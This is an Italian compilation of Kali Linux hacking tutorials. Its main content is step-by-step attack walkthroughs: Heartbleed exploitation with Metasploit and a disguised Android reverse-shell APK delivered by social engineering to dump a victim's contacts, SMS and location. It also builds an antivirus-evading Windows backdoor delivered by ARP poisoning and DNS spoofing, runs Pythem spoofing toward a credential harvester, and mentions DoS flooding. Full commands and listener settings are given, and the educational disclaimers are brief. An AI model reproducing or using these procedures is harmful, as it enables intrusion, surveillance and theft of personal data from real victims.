KALI ATTACK VOL.1

Lakythos

Scopo della struttura del file system di Linux

   

La disposizione dei file in un sistema Linux può sembrare a prima vista una disposizione semi-arbitraria di file
e directory, basata su pratiche storiche. In una certa misura è vero, ma nel corso degli anni il layout si è evoluto per buoni motivi nella gerarchia che vediamo oggi. L'idea generale è di separare i file e le directory in tre gruppi:

Qui esaminiamo brevemente gli scopi di ciascuna delle sottodirectory standard della directory / (root):

Rilevamento e sfruttamento della vulnerabilità Heartbleed OpenSSL utilizzando NMAP e METASPLOIT

   

In questo articolo discuteremo come rilevare e sfruttare i sistemi vulnerabili alla vulnerabilità OpenSSL-Heartbleed utilizzando Nmap e Metasploit su Kali Linux.

Circa 200000+ server sono ancora vulnerabili a Heartbleed, una grave vulnerabilità nella più popolare libreria di software crittografico OpenSSL. Attraverso questa vulnerabilità, un utente malintenzionato può facilmente rubare le informazioni protette in condizioni normali mediante la crittografia SSL/TLS utilizzata per proteggere Internet.

Sappiamo tutti che SSL/TLS offre una buona sicurezza delle comunicazioni e privacy su Internet per tutte le applicazioni come e-mail, IM e VPN. Il bug Heartbleed consente a chiunque di leggere la memoria dei sistemi protetti dalle versioni vulnerabili del software OpenSSL che compromette le chiavi segrete, i nomi e le password degli utenti e l'effettivo contenuto grezzo.

(Vulnerabilità ed esposizioni comuni) CVE-2014-0160 è l'ID di riferimento effettivo di questo bug heartbleed . Questo bug non è correlato a nessun difetto di progettazione in SSL/TLS, è fondamentalmente un errore di programmazione nella libreria OpenSSL più popolare.

Esistono varie versioni di OpenSSL interessate dall'attacco heartbleed:

  1. OpenSSL da 1.0.1 a 1.0.1f (incluso) = Vulnerabile
  2. OpenSSL 1.0.1g = NON vulnerabile
  3. Ramo OpenSSL 1.0.0 = NON vulnerabile
  4. Ramo OpenSSL 0.9.8 = NON vulnerabile

Il bug è stato introdotto in OpenSSL nel dicembre 2011 ed è stato diffuso dalla versione 1.0.1 di OpenSSL il 14 marzo 2012. OpenSSL 1.0.1g rilasciato il 7 aprile 2014 corregge il bug.

Per correggere questo errore, leggi questo avviso di sicurezza OpenSSL che è stato rilasciato il 7 aprile 2014.

Per eseguire la scansione online, puoi persino utilizzare lo scanner Heartbleed online Comodo .

Prima di andare oltre, non è né legale né etico accedere a server che non possiedi. Non eseguire mai scansioni o controlli di sicurezza su sistemi che non si possiedono o che non si dispone dell'approvazione per la scansione. Stiamo dimostrando questo attacco solo per scopi educativi.

Per la scansione e lo sfruttamento, abbiamo bisogno del sistema operativo Kali Linux, che puoi facilmente scaricare dal loro sito Web ufficiale, ovvero kali.org . Puoi persino scaricare direttamente il file immagine VM da questo link .

La versione attuale e più recente di Kali Linux è la  , rilasciata nel mese di aprile   .

Come tutti sapete, Nmap è uno dei più popolari scanner di sicurezza di rete open source che supporta dozzine di tecniche avanzate per mappare reti piene di filtri IP, firewall, router ecc. Tra cui Port Scanning, OS Detection, Version Detection, Ping Sweeps e molti Di più.

Puoi persino utilizzare direttamente la versione grafica di Nmap, chiamata ZenMap, disponibile sia per Linux che per Windows.

Nmap ha appena rilasciato uno script attraverso il quale è possibile rilevare facilmente se un server è vulnerabile o meno al bug OpenSSL Heartbleed. Lo script è basato su Python.

Link per il download dello script Nmap Heartbleed – https://nmap.org/nsedoc/scripts/ssl-heartbleed.html

Per installare questo script in Nmap, vai semplicemente nella directory di Nmap che è

Comando: cd /usr/share/nmap/scripts/

E digita questo comando per scaricare lo script nmap heartbleed.

Comando: wget https://nmap.org/nsedoc/scripts/ssl-heartbleed.html

Questo comando scaricherà automaticamente lo script e verrà salvato nella directory degli script.

È inoltre necessario scaricare un file della libreria denominato " tls " e salvare questo file nella directory /usr/share/nmap/nselib digitando questo comando:

Comando: wget https://svn.nmap.org/nmap/nselib/tls.lua

Ecco fatto, ora puoi facilmente utilizzare lo script heartbleed in nmap per rilevare i sistemi vulnerabili.
Per eseguire la scansione del server, digitare

Comando: nmap -sV -p 443 –script=ssl-heartbleed <IP/Dominio>

E se la macchina target è vulnerabile al bug heartbleed, mostrerà l'output in questo modo:

Sfruttamento Heartbleed con Metasploit –

Entro la fine dell'anno 2015, Metasploit ha anche rilasciato un paio di moduli relativi al bug di heartbleed openssl, che puoi trovare nella directory Auxiliary. Prima di avviare il framework metasploit, è necessario eseguire l'aggiornamento digitando questo comando " msfupdate ".

Dopo il completamento dell'aggiornamento, avvia il framework metasploit digitando questo comando " msfconsole ".

Quindi cerca tutti i moduli relativi a heartbleed digitando " cerca heartbleed ".

Ora per utilizzare il modulo disponibile, digitare " use ausiliario/scanner/ssl/openssl_heartbleed ".

Ora digita " mostra opzioni " per vedere tutte le opzioni disponibili relative a questo modulo openssl heartbleed.

Per impostare l'obiettivo, digita " set RHOSTS <IP> " e imposta anche l'output dettagliato su true digitando questo comando " set verbose true " in modo che tu possa vedere un output formattato alla fine.

Ora digita " run " o " exploit " per lanciare questo exploit.

Se guardi l'immagine sopra, vedrai che Metasploit ha comunicato con il server ed è stato in grado di estrarre dati casuali dalla memoria del server.

Ecco l'elenco di alcuni scanner attraverso i quali puoi facilmente scansionare il tuo server/sistema:

Scanner Heartbleed di Crowdstrike

OpenSSL Heartbleed Scanner di Pentest Tools

Scanner Sanguinario Filippo

Scanner di sicurezza Heartbleed – App per Android

Per test di massa dei server: Github Heartbleed-Masstest

Hack Android utilizzando Metasploit su LAN/WAN

   

In questo articolo, parleremo dello sfruttamento di dispositivi Android come tablet/telefoni/emulatori ecc. utilizzando uno dei framework di sfruttamento più popolari chiamato Metasploit Framework e MSFvenom. Qui utilizzeremo MSFvenom per generare payload e salvarlo come file .apk e configurare il listener nel framework Metasploit utilizzando il multi handler. Una volta che l'utente/vittima ha scaricato e installato l'apk dannoso, un utente malintenzionato può facilmente riprendere la sessione su Metasploit.

Utilizzeremo l'ultima versione di Kali Linux, ovvero Kali Linux  , che puoi facilmente scaricare dal loro sito Web ufficiale . Kali Linux è uno dei sistemi operativi basati su Debian con diversi strumenti finalizzati a varie attività di sicurezza delle informazioni, come Penetration Testing, Forensics e Reverse Engineering.

In Kali Linux, Metasploit Framework è già installato, con l'aiuto di questo strumento, puoi persino hackerare qualsiasi sistema operativo Windows/Linux, ha integrato così tanti payload ed exploit che puoi anche aggiornare seguendo il comando, ad esempio "msfupdate " . Il processo per sfruttare Android è molto semplice e facile da usare.

Requisiti -

  1. KaliLinux  
  2. USB WLAN (adattatore wireless)
  3. VMware o scatola virtuale
  4. Un porto aperto

Prima di iniziare lo sfruttamento di Android, devi connettere il tuo Kali Linux con la rete wireless che stai utilizzando. Dopo aver effettuato correttamente la connessione alla rete wireless, annotare l'IP dell'interfaccia wlan0 digitando questo comando:

Comando: ifconfig wlan0

Per trovare IP su Internet, puoi utilizzare questo strumento IP-Look senza pubblicità .

Ora, nel primo passaggio, devi creare una backdoor Android chiamata payload sotto forma di estensione .apk. Per la creazione di questo payload, puoi utilizzare msfvenom digitando questo comando:

Comando: msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.3 LPORT=444 R > whatsapp_recorder_  .apk

Qui, android/meterpreter/reverse_tcp è il nome del payload che useremo.
LHOST è l'indirizzo IP a cui si collegherà il client (il tuo indirizzo IP). In questo caso, il nostro indirizzo IP è "192.168.1.3" .

MSFvenom è la combinazione di msfpayload e msfencode . Entrambi gli strumenti sono estremamente utili per generare payload in vari formati e codificare i loro payload utilizzando vari moduli di codifica come shikata encoder ecc.

Nota: in questo comando, abbiamo utilizzato l'indirizzo locale perché siamo nell'ambiente locale. Per lo sfruttamento su WAN o rete pubblica, devi inserire il tuo indirizzo IP pubblico in LHOST.

Per trovare il tuo IP pubblico, devi digitare questo comando:

Comando: dig TXT +breve oo.myaddr.l.google.com @ns1.google.com

È inoltre necessario abilitare il port forwarding sul router affinché funzioni su Internet. Puoi anche controllare il tuo IP pubblico aprendo questo link .

Una volta che il tuo file backdoor è stato creato con msfvenom , devi solo trasferire questo file sul dispositivo Android che vuoi hackerare, qui puoi applicare qualsiasi metodo di ingegneria sociale per inviare il tuo file . apk su qualsiasi supporto come Whatsapp/Facebook ecc. Assicurati che il nome del tuo file dell'applicazione finga di essere legittimo.

Dopo aver creato correttamente il file .apk, dobbiamo anche firmare il certificato perché i dispositivi mobili Android non consentono l'installazione di app senza il certificato firmato in modo appropriato. I dispositivi Android installano solo i file .apk firmati. Per firmare il file apk, puoi usare jar signer , keytool e zipalign che tratteremo nel prossimo articolo.

Una volta che il payload è stato trasferito con successo al dispositivo di destinazione, dobbiamo iniziare ad ascoltare l'indirizzo e la porta specificati per sfruttare il dispositivo. In questo caso, utilizziamo Metasploit Framework.

Per avviare il framework metasploit, digita " msfconsole " nel tuo terminale.

Ora vogliamo utilizzare un gestore di payload per gestire la nostra connessione TCP inversa digitando questo comando " usa multi/gestore ".

Ora dovresti avere un prompt che dice msf exploit(handler) > . Ora imposta il payload per Android digitando questi comandi:

imposta PAYLOAD android/meterpreter/reverse_tcp
imposta LHOST 192.168.1.3
imposta LPORT 443

Per verificare tutte le cose, digita " mostra opzioni ". Ora per avviare il gestore, digitare " run " o " exploit " nello stesso terminale.

Non appena il dispositivo esegue il payload (apre l'app), il tuo terminale Meterpreter dovrebbe dire " Sessione Meterpreter uno aperta " o qualcosa del genere. Ciò significa che hai ottenuto correttamente l'accesso al dispositivo.

Tombola!!! Abbiamo ottenuto la sessione Meterpreter del dispositivo Android e possiamo controllare maggiori dettagli con il comando " sysinfo " come indicato nello screenshot sottostante.

Per controllare tutti i processi in esecuzione, digitare " ps -ax".

Se vuoi verificare se il dispositivo Android è rootato o meno, digita semplicemente " check_root ".

Puoi scaricare tutti i contatti/registri chiamate/sms digitando " dump_contacts " per scaricare i contatti, " dump_sms " per scaricare tutti i messaggi e " dump_calllog " per scaricare tutti i registri delle chiamate.

Puoi persino inviare l'sms a chiunque semplicemente digitando questo comando send_sms -d +1234567890 -t "Il tuo telefono è stato violato ".

Qui -d sta per il numero di destinazione e -t sta per il testo del corpo dell'SMS ed ecco il messaggio che abbiamo ricevuto con successo.

Successivamente puoi persino scaricare/caricare qualsiasi file digitando questo comando " upload/download <source> <destination> "

La posizione predefinita della sdcard sarà /root/sdcard da dove è possibile scaricare qualsiasi materiale dal dispositivo Android sfruttato.

Per conoscere altri comandi di meterpreter, basta digitare run e premere tab due volte.

Questo comando serve per individuare i valori di longitudine e latitudine del dispositivo Android mirato.

Ci sono molti comandi disponibili in meterpreter usando “ ? " comando help per vedere più opzioni su cosa possiamo eseguire con un dispositivo Android. Abbiamo penetrato con successo il dispositivo Android utilizzando Kali Linux e strumenti di test di penetrazione.

Prevenzione –

  1. Non consentire il download di app da siti Web cloud o siti Web falsi.
  2. Non installare app con l'opzione abilitata per risorse sconosciute.
  3. Usa l'antivirus in un dispositivo mobile per tenere d'occhio ogni momento del cellulare come Cmsecurity, M-Kavach ecc.
  4. Non fare clic su alcun collegamento casuale durante la navigazione in Internet.
  5. Non scaricare mai file src, doc, pdf, apk indesiderati da fonti sconosciute.
  6. Confermare sempre con la fonte pertinente al file per doppia sicurezza. Per verificare l'app, puoi utilizzare Apkpure.com .

FAQ – Domande frequenti

1) Come hackerare Android su WAN

È davvero facile e quasi lo stesso. L'unica differenza è che devi cambiare due cose cioè LHOST e LPORT.

Per LHOST, puoi utilizzare whatismyip.com per il tuo IP pubblico.
Per LPORT, devi eseguire
il port forwarding nel tuo modem/router.

2) Il file Apk creato da msfvenom è 0 kb

Ciò significa che hai qualche errore di ortografia o sintassi, ricontrolla gentilmente tutti i comandi che hai digitato.

3) Nel telefono: impossibile analizzare il pacchetto

Prova un altro File Manager, scaricane uno gratuito da Google Store!! ES File Explorer File Manager è uno dei migliori File Manager di sempre.

4) Nel telefono – App non installata

Potrebbe essere necessario firmare il file APK, le versioni Android più recenti potrebbero dare errori. Puoi usare il pacchetto jarsign per firmare la tua applicazione apk.

5) Modalità NAT o Bridge

Non usare la modalità NAT, usa sempre la modalità Bridge mentre interagisci con l'esterno della rete.

Genera backdoor FUD al 100% con TheFatRat – Windows 10 Exploitation

   

Come tutti sapete, Windows 10 è l'ultima edizione di Microsoft con ottime funzionalità di sicurezza, ma cosa succede se qualcuno invia un trojan/virus/backdoor/payload che è FUD al 100% (completamente non rilevabile)?

Quindi, in sostanza, con l'aiuto di TheFatRat , puoi facilmente sviluppare un Trojan o una backdoor ed eseguire vari metodi di sfruttamento post come il dirottamento del browser, l'hacking DDL, l'escalation dei privilegi di Windows ecc. E il payload generato sarà completamente non rilevabile al 100% (FUD).

Puoi facilmente creare una backdoor per Windows, Android e anche per il sistema operativo Mac. Questo strumento genererà un payload in modo tale da ignorare tutta la protezione del software antivirus.

Quindi, con l'aiuto di Metasploit Framework, puoi facilmente creare una sessione tra un utente malintenzionato e un bersaglio.

Lo strumento FatRat è sviluppato in linguaggio C e in linguaggio C, i virus non li segnaleranno dagli antivirus.

Requisiti -

Ecco lo scenario completo -

Installazione -

Per installare TheFatRat, usa il repository Github e digitando il comando seguente scaricherai automaticamente tutti i file di TheFatRat da Github.

Comando: git clone https://github.com/Screetsec/TheFatRat.git

Dopo il completamento di questo, è necessario eseguire il file setup.sh e prima di eseguire setup.sh, è necessario modificare le autorizzazioni del file setup.sh digitando il comando seguente.

Comando: chmod +x setup.sh

Ora nel passaggio successivo, esegui direttamente il file setup.sh digitando " ./setup.sh " che controllerà tutte le dipendenze e installerà automaticamente anche le dipendenze mancanti come da screenshot sottostante.

Ora puoi semplicemente digitare " fatrat " nel tuo terminale e vedrai una schermata presentata in cui mostrerà tutti i menu da 01 a 16.

Nel passaggio successivo, digitare " 6 " per creare una backdoor FUD (completamente non rilevabile) con Pwnwinds, che creerà un file .exe.

Successivamente, devi digitare " 2 ", che creerà finalmente un file .exe con l'aiuto di C# e Powershell.

Ora devi inserire il tuo indirizzo IP locale che puoi facilmente controllare digitando il comando " ifconfig " in un altro terminale. Quindi, nel nostro caso, LHOST sarà 192.168.179.143 e LPORT sarà 4444.

E dopo devi digitare il nome del file della backdoor che creerà alla fine.

Nell'ultimo passaggio, devi assegnare il payload, puoi scegliere qualsiasi payload ma il migliore è " windows/meterepreter/reverse_tcp " digitando 3 come da screenshot sopra.

Nell'arco di 1-2 minuti, creerà una backdoor con nome file " flashplayer.exe " nella directory /TheFatRat/output.

Ora abbiamo creato un eseguibile. Il software antivirus del bersaglio non avrà una firma fino a quando non viene aggiornato nel database, consentendoci di aggirare facilmente il software antivirus del bersaglio.

Ora che abbiamo il nostro payload, ora dobbiamo configurare un listener, ma prima di configurare un listener devi avviare il tuo servizio Apache in modo da poter avvelenare l'intera rete con l'aiuto di Ettercap.

Quindi, i passaggi sono -

Per avviare il servizio Apache, digitare il seguente comando:

Comando: servizio apache2 start

Ora spostati nella posizione /var/www/html , crea un file index.html e posiziona il tuo file backdoor (flashplayer.exe) nella stessa directory.

Ecco il codice che puoi utilizzare per inserire il tuo index.html e non dimenticare di modificare l'URL del collegamento con l'indirizzo IP dell'interfaccia locale.

Nel passaggio successivo, dobbiamo configurare la configurazione di Ettercap e per questo è necessario modificare due file, ovvero etter.conf e etter.dns .

La posizione predefinita per entrambi i file è /etc/ettercap/etter.conf e /etc/ettercap/etter.dns

Per prima cosa apri il file etter.conf con l'aiuto di qualsiasi editor di testo, qui abbiamo usato gedit, quindi il comando sarà " gedit /etc/ettercap/etter.conf " e modifica due righe di codice

Configura ec_uid e ec_gid = 0 in caso contrario. Hai bisogno dei privilegi di root per configurare le interfacce, una volta che sono state fatte da Ettercap, poi rilascia i privilegi, a chi?..

Dici che: 0=root, 65535 = nessuno.

Nello stesso file, decommentare le quattro righe commentate che seguono l'istruzione:

se usi iptables e se usi ipchains rimuovendo i due hash di commento in basso che vedi sotto:

Ora apri il file etter.dns, in questo passaggio, vogliamo inoltrare tutte le richieste al tuo indirizzo IP LHOST:

Il tuo IP LHOST è 192.168.179.143 quindi il codice è

* A 192.168.179.143
*.google.com A 192.168.179.143
google.com A 192.168.179.143
google.co.in A 192.168.179.143
facebook.com A 192.168.179.143

Questo file etter.dns è il file hosts ed è responsabile del reindirizzamento di specifiche richieste DNS. Fondamentalmente, se il target entra in facebook.com verrà reindirizzato al sito Web di Facebook, ma questo file può cambiare tutto ciò. Qui è dove avviene la magia.

Ora digita " ettercap -G " nel tuo terminale che apre Ettercap in modalità grafica e avvia lo sniffing unificato.

Qui è necessario selezionare l'interfaccia, nel nostro caso abbiamo selezionato eth0 . Puoi scoprire quale interfaccia è connessa a Internet digitando il terminale ifconfig e vedendo quale interfaccia ti dà un indirizzo IP.

Ora vogliamo cercare obiettivi sulla nostra rete e sceglierne uno. Per fare ciò, vai su Host > Cerca host e attendi fino a quando non esegue la scansione. Dovrebbero essere necessari solo pochi secondi a seconda delle dimensioni della tua rete.

Quindi abbiamo affrontato la scansione, ma come vediamo i nostri obiettivi? Bene, torna a Host e seleziona Host list per vedere tutti i target che Ettercap ha trovato.

Ora quello che vogliamo fare è aggiungere la nostra macchina vittima a Target 2 e il nostro gateway di rete a Target 1, ma prima dobbiamo conoscere entrambi i loro indirizzi IP.

Per scoprire l'indirizzo IP della nostra vittima, dobbiamo prima sapere chi stiamo attaccando e possiamo farlo utilizzando nmap per trovare le informazioni di cui abbiamo bisogno sulla macchina bersaglio.

Una volta che sei sicuro di chi sia la tua vittima, seleziona il suo indirizzo IP dall'elenco degli host in Ettercap e scegli Aggiungi a Target 2.

Ora devi trovare l'indirizzo IP del tuo gateway (il tuo router). Per fare ciò, apri Terminale e digita route -n . Ora seleziona l'IP del gateway dall'elenco degli host e scegli Add to Target 1.

192.168.179.2 – Gateway – Aggiungi al target 1
192.168.179.142 – IP della vittima – Aggiungi al target 2

Ora che abbiamo entrambi gli obiettivi impostati sulla nostra vittima e sul gateway, possiamo procedere all'attacco.

Vai alla scheda MITM e seleziona Avvelenamento ARP .

Scegli Sniff connessioni remote e premi OK .

Ora vai su Plugin > Gestisci i plugin e fai doppio clic su dns_spoof per attivare quel plugin.

L'ultima cosa che resta da fare qui è iniziare l'attacco. Torna a Ettercap e seleziona Start > Avvia sniffing e questo dovrebbe farlo.

Ora ogni volta che la vittima visita un sito Web, verrà reindirizzata alla pagina elegante e poco appariscente di seguito. Puoi vedere come questo può essere estremamente dannoso, dal momento che l'attaccante potrebbe scrivere uno script che recupera immediatamente la pagina richiesta e imposta il file etter.dns .

Allo stesso tempo, dobbiamo anche configurare un listener con l'aiuto di Metasploit Framework, per fare ciò, digita " msfconsole " nel tuo terminale che apre Metasploit Framework.

L'exploit che useremo è “exploit/multi/handler” e per usare questo exploit, digita il comando seguente.

Comando: usa exploit/multi/handler

Successivamente, devi impostare il carico utile che è,

Comando: imposta payload windows/meterpreter/reverse_tcp

Ora imposta il tuo LHOST e LPORT che hai usato allo stesso modo durante la configurazione di TheFatRat e infine esegui l'exploit.

Come puoi vedere dalle schermate qui sotto, ora abbiamo una connessione inversa con la macchina di destinazione che è Windows 10 nel nostro caso.

Digita " sysinfo " per visualizzare le informazioni sulla destinazione.

Per vedere tutti i processi in esecuzione nella macchina di destinazione, digitare " ps -ax ".

Per vedere l'ID del processo della backdoor, digitare " getpid ". Puoi anche entrare in modalità Command Shell semplicemente digitando " shell ".

Qui puoi vedere il prompt della macchina Windows 10.

Per spostare la sessione corrente in background, digitare "background" nello stesso terminale.

Puoi esplorare più comandi di meterpreter semplicemente digitando " ? ” nel tuo stesso terminale che ti elenca più comandi che puoi facilmente eseguire con il tuo obiettivo.

Ecco come abbiamo eseguito l'attacco MITM con l'aiuto di TheFatRat, Ettercap e Metasploit Framework. Questo articolo è solo a scopo didattico, usalo a tuo rischio e pericolo e per favore non caricare alcuna backdoor o payload su virustotal.com e se vuoi davvero scansionare la tua backdoor, puoi usare nodistribute.com .

Lalin - Toolkit di un pentester  

   

Lalin significa Lazy Linux Toolkit . Con l'aiuto dello script Lalin , puoi installare così tanti strumenti di penetrazione con un solo clic. Lo script Lalin è la versione avanzata dello script LazyKali ed è compatibile al 100% con l'ultima versione di Kali Linux.

Uso di Lalin –

Scarica lo script bash da Github digitando il comando seguente.

Comando: git clone https://github.com/Screetsec/LALIN.git

Nella stessa directory, creerà una cartella LALIN in cui è necessario eseguire il file Lalin.sh.

Ma prima di utilizzare, devi dare i permessi completi digitando questo comando.

Comando: chmod +x Lalin.sh

Per eseguire lo script, digitare " sudo ./Lalin.sh ".

Gli strumenti che Lalin supporta sono:

1) Aggiorna Kali - Con questa opzione, puoi facilmente aggiungere nuovi repository nella tua macchina Kali Linux , puoi anche aggiornare sources.list, puoi anche ripristinare i repository ecc.

2) Macchina virtuale: con questa opzione è possibile installare VirtualBox, Vmware, Qemu e VKM con un solo clic.

3) Browser: con questa opzione, puoi installare facilmente Google Chrome, Firefox, Chromium, Min e TOR (32/64 bit).

4) WiFu – Con questa opzione, puoi installare vari strumenti di hacking wireless come Linset, Wifiphiser, Wifi-hack, wpa-autopwn, wpsbreaker, Fluxion e Wifite.

5) Exploit-db – Con questa opzione, puoi facilmente aggiornare i pacchetti ExploitDb sotto lo strumento searchsploit.

6) Sniffing & MITM – Con questa opzione è possibile installare Bettercap, Mitmf, Weeman, Yamas, Easycreds, Pwnstar, Subterfuge, Ghost-Phiser e Hunting with Hamster & Ferret.

7) Firefox Security Toolkit – Con questa opzione, puoi installare tanti componenti aggiuntivi del browser come Firebug, Fireforce, Foxy Proxy, HackBar, Wappalyzer, Tamper Data ecc.

8) Pacchetto Hack

9) Payload di attacco HID (dispositivo di interfaccia umana)

10) BACKDOOR – Sotto queste opzioni, puoi installare TheFatRat , Avoid, Shellter, Veil Evasion, Unicorn, GCAT, Maligno, mpc e Backdoor-Factory.

11) Lazynmap – Per utilizzare NMAP

12) Sviluppo exploit: con questa opzione è possibile installare Shellsploit, Routersploit, Litesploit, uSploit, Windows e Linux Exploit Suggester.

13) Avvia servizi – Puoi avviare direttamente i servizi di Metasploit Framework , Apache, OpenVas e Network.

14) Risolvere tutti i problemi – Con l'aiuto di questa opzione, puoi facilmente risolvere i problemi relativi alla disattivazione dell'audio, problemi del browser Chrome, problemi del dispositivo hardware, problemi relativi ai caratteri e problemi del pacchetto Linset ecc.

15) DECRYTPTER & ENCRYPTER – Questo ti darà così tante opzioni come codifica/decodifica base64, findmyhas cracking per MD5/MD4/SHA1, MD5/MD4/SHA1/SHA-256 Generator e qrcode generator.

16) LazyMacchanger: puoi modificare facilmente l'indirizzo Mac del tuo dispositivo con un solo clic con l'aiuto di LazyMacchanger.

17) Sicurezza Web: questa opzione ti offre fondamentalmente alcuni strumenti di scansione automatizzati per lo sfruttamento di siti Web come Nikto, Bingoo, CMSmap, Sn1per, Droopescan, VBSCAN, DOORK, XSSYA, XSSPY, ATSCAN, Venom-Scanner e Lisa.

Come utilizzare gli strumenti di steganografia Steghide e StegoSuite in Kali Linux

   

Bene, la steganografia è una delle tecniche più antiche utilizzate per nascondere i dati in un'immagine, nascondere l'immagine nell'immagine e nascondere i dati in un video/audio ecc.

“Puoi nascondere facilmente qualsiasi tipo di video/audio/testo/messaggio/immagine l'uno nell'altro. Ad esempio, un mittente desidera trasferire alcune informazioni segrete da un luogo a un altro, quindi la steganografia è il metodo migliore per effettuare la trasmissione segreta. – afferma Terry Stone, sviluppatore PhP della società Buy Essay Club .

Ci sono così tanti strumenti disponibili in Kali Linux per la steganografia, ma Steghide e StegoSuite sono i due strumenti più popolari per la steganografia.

Steghide – Installazione e utilizzo

Steghide è uno strumento a riga di comando attraverso il quale puoi facilmente nascondere i dati in vari tipi di file immagine/audio senza perdere la qualità del file originale oppure puoi dire che steghide è un programma resistente all'incorporamento.

Steghide supporta fondamentalmente file JPEG/JPG/BMP/WAV/AU. Puoi persino estrarre i dati con lo steghide.

Per installare Steghide in Kali Linux, digitare

Comando: apt-get install steghide

Per utilizzare questo strumento, digita " steghide " nel tuo terminale.

Ora abbiamo creato un file secret.txt con alcuni dati e inserito un file kevinmitnick.jpg nella stessa directory, quindi nasconderemo il file secret.txt nel file kevinmitnick.jpg .

Comando: steghide embed -cf kevinmitnick.jpg -ef secret.txt

Questo comando richiederà una password che puoi facilmente impostare in modo che nessuno possa estrarre i dati segreti dal tuo file.

Quindi questo comando incorporerà i dati secret.txt nel file immagine di kevinmitnick.jpg

Ora per estrarre i dati da questo file, puoi digitare sotto il comando.

Comando: steghide extract -sf kevinmitnick.jpg

Il ricevitore deve anche utilizzare lo stesso strumento steghide per recuperare i dati, quindi se la password è corretta, il contenuto del file originale verrà estratto dal file immagine e salvato nella directory corrente.

Puoi anche visualizzare le informazioni relative ai dati incorporati digitando questo comando di seguito.

Comando: steghide info kevinmitnick.jpg

Stegosuite – Installazione e utilizzo

Stegosuite è uno strumento basato sull'utente completamente grafico (strumento GUI). La funzionalità di stegosuite è del tutto simile a steghide, l'unica differenza è la versione grafica.

Stegosuite è disponibile anche nel repository Kali Linux in modo da poter installare facilmente stegosuite digitando il seguente comando.

Comando: apt-get install stegosuite

Ora, dopo aver completato il comando precedente, digita semplicemente " stegosuite " nello stesso terminale oppure puoi anche aprire stegosuite dal menu dell'applicazione in alto.

Ora fai clic sul menu File e incorpora il testo oppure puoi anche incorporare qualsiasi file (txt) nella seconda casella di testo e nella terza sezione, puoi impostare qualsiasi passphrase in modo che il file rimanga riservato.

Allo stesso modo, puoi anche estrarre i dati riservati da qualsiasi immagine.

Se stai usando Windows, puoi semplicemente usare questo comando per nascondere i dati in un'immagine con l'aiuto del comando di copia che è il comando integrato di MS-DOS.

Comando: copia /b secret.txt+kevinmitnick.jpg nuovaimmagine.jpg

Installa Honeypot in Kali Linux con Pentbox

   

Bene, con l'aiuto di honeypot, puoi facilmente monitorare il tuo sistema operativo e tenere traccia di ogni attività dell'hacker o puoi dire che è il modo migliore per hackerare l'hacker. Ogni grande azienda utilizza già honeypot intelligenti nel proprio backend come Google, Facebook e Microsoft perché non vogliono scendere a compromessi. In realtà vogliono tracciare tutte le attività di tutti gli utenti e se trovano attività illegali o dannose, honeypot ha la capacità di bloccare immediatamente quell'indirizzo IP.

Tipi di Honeypot –

Gli honeypot possono essere classificati in due modi, ovvero sulla base della distribuzione e sulla base dei criteri di progettazione.

a) Base di distribuzione

b) Basi dei criteri di progettazione

Come impostare un honeypot in Kali Linux

Come tutti sapete, Kali Linux è una delle operazioni di pentesting più popolari utilizzate con oltre 600+ strumenti di hacking/attacco integrati preinstallati.

Per installare honeypot nella tua macchina Kali Linux, devi scaricare e installare Pentbox che puoi trovare facilmente tramite il repository Github .

Comando: git clone https://github.com/whitehatpanda/pentbox-1.8.git

Dopo il download, puoi semplicemente eseguire il pentbox digitando " ./pentbox.rb " dalla cartella pentbox-1.8.

Come puoi vedere, mostrerà 7-8 opzioni, che puoi facilmente eseguire con PentBox come segue:

  1. Strumenti di crittografia
  2. Strumenti di rete
  3. ragnatela
  4. Grabber IP
  5. IP di geolocalizzazione
  6. Attacco di massa

Per utilizzare gli strumenti di crittografia, basta digitare " 1 " e verranno visualizzate altre 4 opzioni come " Base64 Encoder/Decoder ", " Multi-Digest ", " Hash Password Cracker " e " Secure Password Generator ".

È possibile utilizzare qualsiasi opzione a seconda delle proprie esigenze.

Ora abbiamo Network Tools nell'opzione n. 2 attraverso il quale è possibile eseguire “ Net Dos Tester ”, “ TCP port scanner ”, “ Honeypot ”, “ Fuzzer ”, “ DNS and Host gathering ” e “ Mac address geolocalizzazione ”.

Per usare honeypot, basta digitare " 3 " nel terminale.

Ora puoi vedere che ci sono due opzioni, attraverso le quali puoi configurare il tuo honeypot.

Puoi scegliere una qualsiasi delle opzioni, ma per gli utenti facili e per i principianti, puoi scegliere Configurazione automatica rapida. Come puoi vedere, l'honeypot è avviato nello screenshot sopra.

Come puoi vedere, il tuo honeypot monitorerà tutte le attività solo sulla PORTA 80, ma se desideri monitorare alcune attività su qualche altra porta, puoi scegliere la seconda opzione di configurazione manuale.

Porta 80 significa che quando qualcuno apre il tuo IP/host nel suo browser web, registrerà immediatamente quella richiesta e visualizzerà tutte le possibili informazioni di quella richiesta come mostrato di seguito:

Le informazioni che puoi vedere:

Sotto gli stessi strumenti di rete, ci sono anche alcune opzioni interessanti come " Net Dos Tester " attraverso le quali puoi facilmente DOS qualcuno con attacchi SYN e TCP flood.

Pythem – Multi-Purpose Pentest Framework  

   

Pythem è un framework pentest multiuso scritto in Python. È stato sviluppato per essere utilizzato da ricercatori e professionisti della sicurezza. Lo strumento destinato ad essere utilizzato solo per atti all'interno della legge.

Caratteristiche -

Attacchi supportati –

Questo strumento è molto utile specialmente per gli attacchi DOS e MITM sulla rete LAN. Puoi facilmente definire la destinazione, il gateway e l'interfaccia ecc

Installazione di Pythem –

L'installazione può essere eseguita tramite git clone digitando questo comando:

Comando: git clone https://github.com/m4n3dw0lf/pythem

Prima di eseguire, dobbiamo dare i permessi completi per installare il file binario eseguibile perché abbiamo bisogno di installare alcune dipendenze che puoi facilmente trovare dal file requirements.txt.

Per i permessi, il comando è " chmod +x install ".

Dopo l'installazione completa, basta digitare " pythem " nel terminale.

Per visualizzare tutti i comandi e le informazioni su pythem, basta digitare help nello stesso terminale.

Spoofing ARP – Man-in-the-middle

pythem> set interface eth0
pythem> set gateway 192.168.179.2
pythem> arpspoof start
pythem> sniff
[+] Inserisci il filtro: core

ARP+DNS spoof – reindirizzamento di una pagina fasulla al raccoglitore di credenziali

pythem> set target 192.168.179.142
pythem> set interface eth0
pythem> set gateway 192.168.179.2
pythem> arpspoof start
[+] Impostazione dell'inoltro dei pacchetti.
[+] Iptables ridefinito.
[+] ARP spoofing inizializzato.
pythem> dnsspoof start
[!] Digita all per falsificare tutti i domini
[+] Dominio da falsificare: example.com
[+] L'indirizzo predefinito da reindirizzare è:192.168.0.6 vuoi cambiare?[y/n]n
[+ ] Spoofing DNS inizializzato.
